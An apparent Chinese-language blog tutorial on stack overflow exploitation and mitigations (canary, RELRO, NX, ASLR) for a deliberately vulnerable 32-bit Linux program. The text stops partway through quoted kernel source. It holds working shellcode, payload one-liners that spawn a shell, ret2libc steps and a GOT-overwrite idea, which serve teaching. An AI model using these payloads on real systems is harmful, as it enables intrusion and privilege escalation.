栈溢出漏洞的利用和缓解

一直有人说这个时代做渗透太难了, 各个平台都开始重视安全性, 不像十几年前, 随便有个栈溢出就能轻松利用. 现在的环境对于新手而言确实不算友好, 上来就需要 面临着各种边界保护, 堆栈保护, 地址布局随机化. 但现实如此, 与其抱怨, 不如直面现实, 拥抱变化, 对吧?

本文所演示的环境为64位Linux+32位ELF程序. 文中所用到的代码和exp皆可在github仓库中找到.

前言

知识准备

首先, 当然是要先了解什么是栈溢出. 要了解栈溢出, 就必须要先知道栈的布局. 以32位应用程序为例, 假设函数foo有两个参数和两个局部变量:

int foo(int arg1, int arg2) {
    int local1;
    int local2;
    // ...
}

那么该函数的栈帧布局如下:

变量 相对于ebp 相对于esp
函数调用者的变量 [ebp + 16] [esp + 24]
arg2 [ebp + 12] [esp + 20]
arg1 [ebp + 8] [esp + 16]
返回地址 [ebp + 4] [esp + 12]
保存的ebp [ebp] [esp + 8]
local1 [ebp - 4] [esp + 4]
local2 [ebp - 8] [esp]

要记住栈是往低地址增长的. 所以每当有新的本地变量(入栈), 其地址也就越小. 关于x86的汇编这里不想介绍太多, 如果只想有个快速认识, 可以参考x86 Assembly Cheat Sheet, 如果想要对汇编, 调用约定和平台差异有深入了解的话, 建议阅读RE4B(中文版).

本文中, 我们用一个简单的c程序来介绍漏洞的利用和缓解:

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy() {
    __asm__("nop; jmp esp");
}

可以看到, 当输入过长时, buf变量会溢出其边界, 导致往栈底(高地址)覆盖, 从而会有修改到本不该被修改的内容, 下节就以该程序为起点进行分析. dummy函数下面会说其作用.

基本攻击

上古时期, 混沌初开, 人们对安全的概念还没有太大认知, 各种bug频出, 编译器也仅仅是实现了基本功能, 还整天被程序员催更(实现各种C/C++新标准和特性). 所以并未对缓冲溢出漏洞的利用作各种限制, 模拟这种场景可以用如下方式:

# 运行时禁用ASLR(系统级):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 或者:
# sudo sysctl kernel.randomize_va_space=0
# 或者新建一个禁用ASLR的bash环境(用户级):
# setarch `uname -m` -R /bin/bash

# 编译时禁用canary和NX:
gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

-m32是因为我的系统为64位, 这里编译出32位的应用程序. -no-pie是为了不启用PIC. 这时有人看到这种程序会想, buf溢出之后, 如果控制得当, 不是可以覆盖返回地址吗, 也就是说可以覆盖PC指针, 执行代码. 那么怎么样才能执行想要的代码呢, 比如system("/bin/sh")? 最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序, 然后将返回地址修改为该段shellcode的起始地址, 不就OK了吗? 所以我们scanf的输入应该类似于:

# 低地址 ---> 高地址
...[shellcode]...[返回地址]...
# 或者
...[返回地址]...[shellcode]...

前者是把shellcode写在foo函数的栈帧里, 但其大小有限; 后者则是把shellcode写在调用者(main)的栈帧里. 关键是地址如何确定? shellcode如何编写?

返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认. 先生成(或者自己写)一个有固定模式的字符串, 这里用De Brujin序列:

$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

然后用gdb启动victim程序调试并输入上述paylod:

$ gdb victim
(gdb) run
Starting program: /home/pan/victim 
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN

Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141

看到程序发生段错误, 并且PC指针eip的值为0x41494141, 即小端的AAIA, 出现在De Brujin序列的第23字节, 所以可以确定输入溢出到第23字节时覆盖了PC指针. 确定了位置, 那么该写哪个地址值呢? 我们知道应该要跳转到shellcode头部, shellcode写在buf中, 而buf则在栈上(还记得上面的栈帧表格吗?), 反汇编foo函数:

(gdb) disassemble foo
Dump of assembler code for function foo:
   0x0804848b <+0>:	push   ebp
   0x0804848c <+1>:	mov    ebp,esp
   0x0804848e <+3>:	push   ebx
   0x0804848f <+4>:	sub    esp,0x14
   0x08048492 <+7>:	call   0x80483c0 <__x86.get_pc_thunk.bx>
   0x08048497 <+12>:	add    ebx,0x1b69
   0x0804849d <+18>:	sub    esp,0x8
   0x080484a0 <+21>:	lea    eax,[ebp-0x12]
   0x080484a3 <+24>:	push   eax
   0x080484a4 <+25>:	lea    eax,[ebx-0x1a50]
   0x080484aa <+31>:	push   eax
   0x080484ab <+32>:	call   0x8048370 <__isoc99_scanf@plt>
   0x080484b0 <+37>:	add    esp,0x10
   0x080484b3 <+40>:	sub    esp,0x8
   0x080484b6 <+43>:	lea    eax,[ebp-0x12]
   0x080484b9 <+46>:	push   eax
   0x080484ba <+47>:	lea    eax,[ebx-0x1a4d]
   0x080484c0 <+53>:	push   eax
   0x080484c1 <+54>:	call   0x8048340 <printf@plt>
   0x080484c6 <+59>:	add    esp,0x10
   0x080484c9 <+62>:	mov    eax,0x0
   0x080484ce <+67>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080484d1 <+70>:	leave  
   0x080484d2 <+71>:	ret    
End of assembler dump.

看9~18行可以发现buf的地址为ebp-0x12,我们是不是可以直接跳转到硬编码的buf地址呢? 我们可以自己试验每次断点在foo时打印寄存器值:

(gdb) b foo
Breakpoint 1 at 0x656: file victim.c, line 5.
(gdb) run
...
(gdb) info reg
eax            0xf7fa6dbc	-134582852
ecx            0xffffc5a0	-14944
edx            0xffffc5c4	-14908
ebx            0x804a000	134520832
esp            0xffffc560	0xffffc560
ebp            0xffffc578	0xffffc578
...

在我的电脑上, 发现每次ebp的值都是一样, 但其实机器重启后很可能就不同了, 而且不同操作系统也会有所差异. 所以将返回地址覆盖为0xffffc578-0x12并不是个通用的方法.

虽然栈地址不是固定的, 但程序地址总是固定的, 所以聪明的黑客想到了利用程序里jmp espcall esp之类的 指令片段来将执行流引导到我们的shellcode上. 为此, 我们就要从程序代码中寻找包含改指令的片段, 看看我们想要的这两条指令的机器码是什么:

$ rasm2 -a x86 -b 32 "nop; jmp esp"
90ffe4

对于大型程序而言, 找几个字节不是难事, 但我们这种小程序就比较难找到, 所以我为了方便就加了个 dummy函数, 来模拟大型程序中查找代码段的过程. 可以用radare2或rafind2来查找:

$ r2 ./victim
[0x08048390]> /x 90ffe4
Searching 3 bytes in [0x8048000-0x8048754]
hits: 1
Searching 3 bytes in [0x8049f08-0x804a028]
hits: 0
0x08048520 hit0_0 90ffe4

也可以通过objdump:

$ objdump -d ./victim -M intel | grep 'ff e4' -B 1
 8048520:	90                   	nop
 8048521:	ff e4                	jmp    esp

这样我们的返回地址就能确定了, 即0x08048520. 不过这里有个小细节就是scanf会被空格(\x20)截断, 所以特地加了个空指令并令返回地址为0x08048521.

对于shellcode的编写, 如果逻辑简单则很容易, 可以直接写汇编再转为机器码即可; 如果逻辑复杂点, 只是执行系统调用的话依旧可以单独写; 而对于复杂的例子, 例如执行system库函数, 并指定第一个参数为"/bin/sh"字符串(的地址), 就要先找到system函数的地址, 然后按照调用约定来调用.

先看简单的, 比如直接退出, 这里可以用_exit系统调用, 汇编为:

mov eax, 0x01;
mov ebx, 66;
int 0x80;

其中0x01是exit的系统调用号, ebx为参数, 即我们想程序立刻结束并返回66. 用rasm2来编译:

$ rasm2 -a x86 -b 32 -f shellcode.asm 
b801000000bb42000000cd80

配合前面确定的返回地址, 可以构造一个payload:

python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'"

这里注意返回地址是小端字节序. 还有payload写在返回地址的后面而不是前面, 因为在函数返回后, 经过了leaveret指令, 已经恢复了原来的栈帧(原本被保护性压入栈, 即高地址中). '\x90'*50的作用是填充nop指令, 可以提高payload的鲁棒性, 不用精确指定指令起始地址也能执行, 通常称为NOP sled. 测试下:

# 正常执行
$ echo "world" | ./victim 
hello world
good bye!
$ echo $?
0
# payload执行
$ python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\xb8\x01\x00\x00\x00\xbb\x42\x00\x00\x00\xcd\x80'" | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!����������������������������������������������������
$ echo $?
66

第二次优雅地退出了, 并且返回码是我们所期望的66. 仅仅是利用系统调用, 就可以实现足够丰富的功能. 关于Linux系统调用的文档, 可以通过man syscalls查看.

在现实世界中, 如果我们想要执行更复杂的指令, 那必然会用到库函数, 所以再看一个例子, 注入payload来获取一个交互式的shell. 之前也说过, 其实就是执行system("/bin/sh")函数, 但关键是要获取system函数的地址. system是标准的库函数, 一般存在于libc动态链接库中:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim 
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)

根据输出知道libc.so会被加载到0xf7df1000这个地址上.

注意: 曾经我以为ldd命令也能获取类似的结果, 但后来发现其结果不一定准确! 详见why-does-ldd-and-gdb-info-sharedlibrary-show-a-different-library-base-addr.

接下来看看system函数相对于libc.so的偏移:

$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | grep system
246 0x00113de0 0x00113de0 GLOBAL   FUNC   68 svcerr_systemerr
628 0x0003ab30 0x0003ab30 GLOBAL   FUNC   55 __libc_system
1461 0x0003ab30 0x0003ab30   WEAK   FUNC   55 system
# 或者用`readelf`:
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   246: 00113de0    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   628: 0003ab30    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1461: 0003ab30    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
# 或者用`nm`工具也是可以的:
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
0003ab30 T __libc_system
00113de0 T svcerr_systemerr
0003ab30 W system

不管用哪种方法, 偏移量都应该是相同的. 所以, system函数地址应该是0xf7df1000 + 0x3ab30:

$ rax2 =16 0xf7df1000+0x3ab30
0xf7e2bb30

然后, 还需要找到"/bin/sh"这个字符串的地址:

$ rafind2 -z -s /bin/sh ./victim

很不幸, 没有找到. 再在libc里找下:

$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48
$ rax2 =16 0xf7df1000+0x15ce48
0xf7f4de48

找到了! 然后用该偏移加上libc加载地址即可. 哦, 这位问了, 要是还是没找到怎么办? 没关系, 我们还可以用环境变量自己传进去! 而且既然我们能控制payload, 那也写在payload里! 举例shellcode如下:

; shellcode_sh.asm
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov eax, esp
push eax
mov edi, 0xf7e2cb30
call edi

编译, 用rasm2 -C直接产生C数组兼容的输出:

$ rasm2 -a x86 -b 32 -f shellcode_sh.asm -C
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2" \
"\xf7\xff\xd3"

测试:

$ (python -c "print 'A'*22 + '\x21\x85\x04\x08' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe0\x50\xbb\x30\xbb\xe2\xf7\xff\xd3'" && cat) | ./victim
hello AAAAAAAAAAAAAAAAAAAAAA!���������������������������������������������������1�Ph//shh/bin��P�0�����
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

成功获得交互式的shell! 如果victim程序有suid权限的话, 还可以用来获取具有root权限的shell. 值得一提的是, 这里输入payload用(python -c "print 'xxx'" && cat) | ./victim的方式, 为什么这里要加&& cat而之前不用? 这是管道的工作机制决定的, python打印payload之后马上结束, 从而关闭了管道的写端, 导致虽然执行了命令但没法获得交互, 所以要用cat命令来维持住. 至此, 一个基本的栈溢出利用过程已经介绍完毕.

Canary/SSP/GS

canary value, 即金丝雀值, 是一个缓解栈溢出漏洞的基本方式. 为什么要叫这个名字? 因为金丝雀比较敏感脆弱, 以前人们在进入煤矿的时候会拿一只金丝雀在手上, 用来检测 一氧化碳等有毒气体. 在环境异常时, 金丝雀会比人先出现反应, 可以用来作为一个警告信号. 在二进制中, canary则用来在恶意payload执行之前, 检测栈帧的异常.

Stack Canaries通常是在函数的prologue和epilogue中插入完整性校验的代码, 如果校验异常则 进入系统异常处理的流程. canary一般分为终止型(Terminator)和随机型(Random), Terminator 指一些函数会被终止符截断, 比如之前的scanf会被空格截断, strcpy()会被NULL截断, gets()会被换行截断, 等等, 常见的终止符包括NULL(0x00), CR(0x0d), LF(0x0a)以及EOF(0xff); Random型canary通常的实现方式是, 在栈中返回地址之前保存一个小的整数, 并且程序在跳转到返回地址之前 会对该整数进行校验, 若校验出错则直接进入软件异常. 而这个小整数则是在程序启动时随机生成的. 其介绍以及各个编译器的实现方式可以参考维基百科的Buffer overflow protection. 另外有兴趣也可以看看这篇文章, 其介绍了(Linux类系统下)最初的实现. canary的插入点一般如下右图所示:

            Process Address                                   Process Address
            Space                                             Space
           +---------------------+                           +---------------------+
           |                     |                           |                     |
   0xFFFF  |  Top of stack       |                   0xFFFF  |  Top of stack       |
       +   |                     |                       +   |                     |
       |   +---------------------+                       |   +---------------------+
       |   |  malicious code     <-----+                 |   |  malicious code     |
       |   +---------------------+     |                 |   +---------------------+
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   |                     |     |                 |   |                     |
       |   +---------------------|     |                 |   +---------------------|        
       |   |  return address     |     |                 |   |  return address     |
       |   +---------------------+     |                 |   +---------------------|
 stack |   |  saved EBP          +-----+           stack |   |  saved EBP          |
growth |   +---------------------+                growth |   +---------------------+
       |   |  local variables    |                       |   | **stack canary**    |
       |   +---------------------+                       |   +---------------------+
       |   |                     |                       |   |  local variables    |
       |   |  buffer             |                       |   +---------------------+
       |   |                     |                       |   |                     |
       |   |                     |                       |   |  buffer             |
       |   +---------------------+                       |   |                     |
       |   |                     |                       |   |                     |
       |   |                     |                       |   +---------------------+
       |   |                     |                       |   |                     |
       v   |                     |                       v   |                     |
   0x0000  |                     |                   0x0000  |                     |
           +---------------------+                           +---------------------+

这里以glibc 2.26为例(各个版本的libc源码可以在这里下载), canary实现相关的代码在libc-start.c中:

/* Set up the stack checker's canary.  */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// ...
__stack_chk_guard = stack_chk_guard;

_dl_setup_stack_chk_guard函数的实现如下:

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
  // __stack_chk_guard为terminator型canary
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  // __stack_chk_guard为random型canary
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
#else
# error "BYTE_ORDER unknown"
#endif
    }
  return ret.num;
}

可以看到根据dl_random的值是否为空, 该函数分别实现了terminator型和random型的canary.

由于栈canary在编译期修改了函数的prologue和epilogue来分别设置和检测canary值, 所以当发生溢出并尝试利用时, 在覆盖返回地址的途中, 必然也会覆盖到canary的地址. 当程序检测到canary值异常, 就会立刻进入系统的默认异常处理流程中. 那么如何绕过? 一般来说, (random型canary)有如下几种方式:

既然程序只是检测canary的值, 那我们就覆盖成真正的值不就好了? 所以关键是如何得到 原来的canary值, 具体来说有以下几种方法.

对于静态型每次不变的canary, 我们可以通过暴力破解的方式把该值测出来. 听起来不太现实? 考虑这样一种网络程序, 接受一个tcp链接, 然后fork一个子进程去处理该链接的交互. 由于子进程会继承父进程的地址空间, 所以canary值也是相同的, 通过不断fuzzy子进程(们), 便可以得到canary的精确值, 再构造payload, 一个RCE就诞生了!

另一个想法是通过泄露canary值来写入相同的值以绕过检测. 这通常和实际的代码有关, 比如以下代码片段:

void foo() {
    char buf[16];
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
}
void bar() {
    char buf[16];
    scanf("%s", buf);
}
int main() {
    foo();
    bar();
}

可以看到bar中有个栈溢出, 但是因为开启了canary无法直接利用, 不过在foo中, 我们可以控制打印的内容! 所以只要在foo中将打印内容控制为canary的地址(注意不要破坏canry), 并且通过泄露的信息, 在利用bar时便能成功绕过canary的检测. 虽然这里是为了方便举了个 简单的例子, 但实际中类似这样信息泄露的地方也是屡见不鲜的.

由于canary的校验是在返回之前, 所以我们才不能覆盖返回地址来执行shellcode, 那么反过来想, 如果我们能在canary校验之前执行shellcode, 不就可以了吗? 考虑如下函数:

// relocs.c
int main() {
    char buf[16];
    fscanf(stdin, "%s", buf);
    printf("input is %s\n", buf);
}

一个很常见的执行流程, 也没有足够的信息泄露, 那么该如何利用? 这就要说到Linux动态 链接库的加载过程了, 如果你还不清楚GOT/PLT的工作过程, 可以参考这篇文章这篇文章. 简而言之, 动态链接的可执行程序, 其使用到的外部变量的偏移存放于GOT(global offset table) 中, 而使用到的外部函数存放于PLT(Procedure Linkage Table)中, 其中PLT又实现了延时加载, 只会在第一次时将用到的函数地址加载到某个地方(.got.plt), 之后直接从该地方读取.

以一个刚刚的文件为例, 编译并查看符号表:

$ gcc -m32 relocs.c -o relocs
$ readelf --relocs ./relocs 

Relocation section '.rel.dyn' at offset 0x3bc contains 10 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
00001ee8  00000008 R_386_RELATIVE   
00001eec  00000008 R_386_RELATIVE   
00001ff4  00000008 R_386_RELATIVE   
0000201c  00000008 R_386_RELATIVE   
00001fe4  00000106 R_386_GLOB_DAT    00000000   _ITM_deregisterTMClone
00001fe8  00000406 R_386_GLOB_DAT    00000000   __cxa_finalize@GLIBC_2.1.3
00001fec  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
00001ff0  00000706 R_386_GLOB_DAT    00000000   stdin@GLIBC_2.0
00001ff8  00000806 R_386_GLOB_DAT    00000000   _Jv_RegisterClasses
00001ffc  00000906 R_386_GLOB_DAT    00000000   _ITM_registerTMCloneTa

Relocation section '.rel.plt' at offset 0x40c contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0000200c  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
00002010  00000307 R_386_JUMP_SLOT   00000000   __isoc99_fscanf@GLIBC_2.7
00002014  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

可以看到stdin是外部变量, 而printf则是外部函数, 都在libc.so里面. 查看对应的section:

$ readelf -S relocs | egrep 'got|plt'
  [10] .rel.plt          REL             0000040c 00040c 000018 08  AI  5  24  4
  [12] .plt              PROGBITS        00000450 000450 000040 04  AX  0   0 16
  [13] .plt.got          PROGBITS        00000490 000490 000010 00  AX  0   0  8
  [23] .got              PROGBITS        00001fe4 000fe4 00001c 04  WA  0   0  4
  [24] .got.plt          PROGBITS        00002000 001000 000018 04  WA  0   0  4

发现plt是可执行的, 但是不可写; 而got则是可写的, 确不可执行. 之前也说了, 外部函数会被动态加载到.got.plt对应的偏移中, 它的本质也只是一个含有众多函数指针的数组. 所以, 如果我们能通过溢出来改写这个表对应函数的地址, 不就可以实现执行了吗?

举例来说, relocs.c中的fscanf中存在溢出, 那么我们通过溢出, 修改了printf@got.plt的地址, 不就可以在main函数返回之前(校验canary之前)执行我们所构造的shellcode了吗? 实际上, 这也正式当前最常用的绕过canary的方式了.

SEH(Structured Exception Handler)是Windows系统特有的处理异常方式. 我们注意到当canary异常时会进入异常处理中, 如果异常处理代码的地址也是在栈空间上的话, 我们可以随意覆盖canary和返回地址, 并把异常处理的代码地址覆盖为我们的payload地址, 同样也是可以实现程序执行流程的控制.

RELRO

在2001年, teso安全团队的文章中描述了覆盖.got.plt段来截获控制流的方法. 而在2004年, 就有了这种利用手法的防护, 称为重定向只读, 即RELRO.

RELRO的作用是将重定向表设置为只读. 实际上RELRO也包含了两个层级的防护, 即Partial RELRO和Full RELRO.

Partial RELRO(链接时通过ld -z relro指定), 其作用大致是:

  • .got段映射为只读, 不过.got.plt还是可写的.
  • 重新排列各个section来减少全局变量溢出到控制结构中的可能性.

Full RELRO(链接时通过ld -z relro -z now指定), 其作用是:

  • 执行Partial RELRO相关的操作.
  • 在链接时解析所有符号.
  • .got.plt合并到.got中.

因此, Full RELRO可以防止.got.plt中的函数指针被覆盖. 如何绕过? 请看下节分解:)

NX/DEP

NX, Non-Executable(Windows中称为DEP), 顾名思义, 就是将内存中重要的 数据结构标记为不可执行. 而这些数据结构里, 就包括了上节说到的Full RELRO 下的.got.plt表, 以及我们挚爱的栈.

让我们再次回到最开始的victim.c中, 这次编译时明确指定栈不可执行(-z noexecstack):

gcc victim.c -o victim_nx -g -m32 -masm=intel -no-pie -fno-stack-protector -z noexecstack 

之前已经介绍了怎么利用jmp esp来执行payload, 可是这时候栈已经是不可执行的了, 之前的方式便不再可用. 等等..虽然栈不可执行, 可我们还是可以控制返回地址啊! 天涯何处无芳草, 何必总在栈上搞. 别忘了, 之前我们说过如何计算出libc中的函数地址, 那直接跳转到system函数不就可以了? 当然, 跳转之前要先做好栈的布局, 根据调用约定, 只要把要调用的函数的参数从右到左压入栈中即可.

为了更具体地说明利用过程, 以刚编译的victim_nx为例, 让我们来尝试继续exploit之. 首先再次确定下该二进制的安全选项, 并用之前的De Brujin序列来fuzzy下:

$ gdb ./victim_nx
...
Reading symbols from ./victim_nx...done.
(gdb) source ~/tools/peda/peda.py 
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ run
Starting program: /home/pan/victim_nx
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
...
Stopped reason: SIGSEGV
0x41494141 in ?? ()
gdb-peda$ p $eip
$1 = (void (*)()) 0x41494141

可以看到溢出覆盖点还是从第23字节开始. 这次为了方便直接找现成的函数和字符串地址:

gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xf7e2bb30 <system>

gdb-peda$ searchmem /bin/sh\x00
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4de48 ("/bin/sh")

所以, 我们只要把返回地址写为system函数的地址(0xf7e2bb30), 并且保证跳转前栈顶 的值(esp)为"/bin/sh"(0xf7f4de48)即可. 注意一般函数在epilogue阶段会恢复栈帧:

; leave
mov esp, ebp
pop ebp
; ret
pop eip

ret结束之后, esp往上加4字节, 所以返回地址之后第一个4字节应该是system的返回地址, 这个可以先随便写, 这里用BBBB来填充(但是请记住这个地址,我们在介绍ASLR时会用到); 第二个4字节则是system的最后一个(只有一个)参数地址, payload如下:

...[22字节]+[0xf7f4de48]+[4字节]+[0xf7e2bb30]

整数换算成小端字节序, 测试如下:

$ (python -c 'print "A"*22 + "\x30\xbb\xe2\xf7" + "B"*4 + "\x48\xde\xf4\xf7"' && cat) | ./victim_nx 
hello AAAAAAAAAAAAAAAAAAAAAA0���H���H���
whoami
pan
uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux

getshell成功, 而且是不是感觉payload更加精简了? :)

除了跳转到system函数, 还有些常用的比如mprotect(win下的VirtualProtect), 可以重新给内存添加执行权限. 事实上我们可以跳转到任意加载的函数, 但最常用的还是libc, 所以, 这种方法又称之为Return-to-libc攻击. 除此之外, 还可以跳转到PLT中, 称为Return-to-plt.

那么, 如果我们就是想执行自己写的shellcode(汇编), 又该如何操作? 这种利用方式则 称为ROP(Return-oriented programming), 面向返回的编程, 起源于OOP面向对象编程盛行 的年代, 颇有点黑色幽默的意思.

好吧扯远了, 那么到底什么是ROP? 回想NX的保护, 虽然指定了我们的栈不可执行, 但程序空间中可以执行的地方也很多, 如果把这些地方的代码片段按顺序拼凑起来, 不就可以执行我们想要的功能了吗? 举个例子, 我们溢出后想执行以下的shellcode:

mov eax, 0x01;
mov ebx, 66;
int 0x80;

写在栈空间里是不行了, 不过我们如果能在程序自身的代码中找到这段shellcode, 然后跳转到上面不就行啦? 对于一两条指令还好, 分分钟可以找到匹配的地方, 可对于较多的指令, 就没那么容易找到完整匹配了. 因此, 聪明的黑客想了个办法, 我们不是可以覆盖栈空间吗? 那么在栈上多写几个地址, 将他们通过ret指令再 串起来不就可以了? 每个地址对应一个片段, 都以ret为结尾. 比如上述shellcode, 我一下子找不到匹配, 但是可以分开找:

; 片段1
mov eax, 0x01;
ret
; 片段2
mov ebx, 66;
int 0x80;
ret

按照排列组合不断细分, 最终找到符合的一种分法. 通过在栈上依次写入这些片段的 地址, 就能将其连起来执行:

---栈溢出--->
.............[片段1地址(返回地址)][片段2地址]...[片段N地址]

这里的每个指令片段通常称为Gadget. 手工寻找合适的ROP Gadget是个费时费力的过程, 不过这种重复劳动可以很容易的 用脚本来完成, 一些成熟的辅助工具如moan.py, ropper, pwntools, radare2, 都提供了寻找ROP Gadget的功能, 极大提高了exploit的效率.

ASLR

不知道大家有没有发现, 我们上面对于漏洞的利用, 大多是需要执行某个系统函数, 而这个函数的地址, 是通过加载基地址加上一个固定的偏移决定的, 查看基地址:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7df1000)
	/lib/ld-linux.so.2 (0xf7fd9000)

查看了两次发现libc的加载地址都是0xf7df1000, 在这个基础上, 我们的exploit才得以 写入固定的system函数地址来执行.

但是, 出现了一种称为ASLR(Address space layout randomization)的技术, 被用来缓解缓冲溢出漏洞的利用. 其功能和名字一样, 实现地址空间的随机化, 效果如下:

$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7748000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7562000)
	/lib/ld-linux.so.2 (0xf774a000)
$ LD_TRACE_LOADED_OBJECTS=1 ./victim
	linux-gate.so.1 (0xf7728000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7542000)
	/lib/ld-linux.so.2 (0xf772a000)

Linux提供了三种ASLR的模式(/proc/sys/kernel/randomize_va_space):

0 – No randomization. Everything is static.
1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

启用ASLR之后, 每次动态链接库的加载基地址就不再是个固定值了, 从而加大了利用难度. 同一个程序, 在启用ASLR的情况下, 三次执行的内存映射可能如下:

       First execution            Second Execution           Third Execution

  +   +------------------+       +------------------+       +------------------+
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   +------------------+       |   executable     |       |                  |
  |   |   executable     |       |                  |       +------------------+
  |   |                  |       +------------------+       |   executable     |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       |      heap        |       |                  |
  |   +------------------+       |                  |       |      heap        |
  |   |                  |       +------------------+       |                  |
  |   |      heap        |       |                  |       +------------------+
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |   libraries      |       |                  |       +------------------+
  |   |                  |       |                  |       |   libraries      |
  |   +------------------+       |                  |       |                  |
  |   |                  |       +------------------+       +------------------+
  |   |                  |       |   libraries      |       |                  |
  |   |                  |       |                  |       |                  |
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |      Stack       |
  |   +------------------+       |      Stack       |       |                  |
  |   |                  |       |                  |       |                  |
  |   |      Stack       |       |                  |       +------------------+
  |   |                  |       +------------------+       |                  |
  |   |                  |       |                  |       |                  |
  |   +------------------+       |                  |       |                  |
  |   |                  |       |                  |       |                  |
  v   +------------------+       +------------------+       +------------------+

对于Linux, ASLR也是在内核中实现的. 正因如此, 我们可以有幸从源码中一窥其究竟. 在内核加载并运行一个可执行文件(ELF)时, 调用了/fs/binfmt_elf.c 文件中的load_elf_binary函数, 这里抽取其关键部分来看看:

static int load_elf_binary(struct linux_binprm *bprm)
{
//...
if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
        current->flags |= PF_RANDOMIZE;
//...
	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
				 executable_stack);
//...
	/* N.B. passed_fileno might not be initialized? */
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

	if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
		current->mm->brk = current->mm->start_brk =
			arch_randomize_brk(current->mm);
#ifdef compat_brk_randomized
		current->brk_randomized = 1;

